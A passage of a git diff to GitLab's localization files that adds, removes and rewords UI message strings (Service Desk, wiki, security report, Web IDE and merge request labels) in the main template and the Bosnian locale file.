msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -27323,9 +28034,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -27362,6 +28070,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -27371,7 +28082,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -27401,9 +28112,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -27458,9 +28175,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27554,6 +28268,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27692,19 +28409,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27806,6 +28547,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27860,7 +28604,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27872,6 +28616,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27893,6 +28640,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -28104,9 +28854,15 @@ msgstr[4] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -28125,6 +28881,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -28365,6 +29124,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -29043,13 +29805,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -29064,9 +29826,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -29079,7 +29838,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -29169,9 +29928,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -29187,9 +29943,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -29247,9 +30000,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29881,6 +30631,14 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -30044,9 +30802,6 @@ msgstr[4] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -30119,6 +30874,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -30146,6 +30904,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -30158,6 +30919,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -30223,6 +30987,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -30283,6 +31050,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -30355,6 +31125,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -30406,6 +31179,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -30454,6 +31230,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -30481,6 +31263,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30514,9 +31299,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30760,6 +31542,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30898,7 +31683,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30982,6 +31767,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30991,6 +31779,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -31003,6 +31794,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -31309,9 +32103,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -31408,9 +32199,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31715,6 +32503,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31757,9 +32554,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31787,7 +32581,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31892,6 +32686,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -32092,10 +32889,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -32230,9 +33027,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -32287,6 +33081,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32689,7 +33489,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32698,6 +33498,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32794,6 +33597,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32992,9 +33798,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -33046,6 +33849,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -33091,7 +33897,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -33319,9 +34128,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -33388,7 +34194,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -33397,6 +34218,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33554,9 +34381,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33584,6 +34417,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33593,6 +34429,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33998,15 +34837,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -34181,6 +35035,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -34282,9 +35139,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -34357,34 +35211,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Create page"
+msgstr ""
+
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -34396,9 +35265,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -34411,9 +35277,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -34474,6 +35337,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34630,6 +35496,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34771,6 +35643,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34855,9 +35730,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34894,12 +35766,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34933,7 +35799,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34948,9 +35814,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -35134,12 +35997,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -35260,6 +36129,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -35353,7 +36225,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -35463,6 +36335,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35768,6 +36643,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35967,6 +36851,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -36140,7 +37027,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -36178,13 +37065,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -36298,9 +37182,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -36451,18 +37332,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -36493,9 +37368,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36562,15 +37434,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36863,9 +37726,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36911,6 +37771,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/bs_BA/gitlab.po b/locale/bs_BA/gitlab.po
index 0a956e92c87..ecd91662015 100644
--- a/locale/bs_BA/gitlab.po
+++ b/locale/bs_BA/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: bs\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:51\n"
+"PO-Revision-Date: 2021-04-02 00:11\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -130,6 +130,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -229,6 +235,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -451,6 +463,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -463,6 +478,12 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
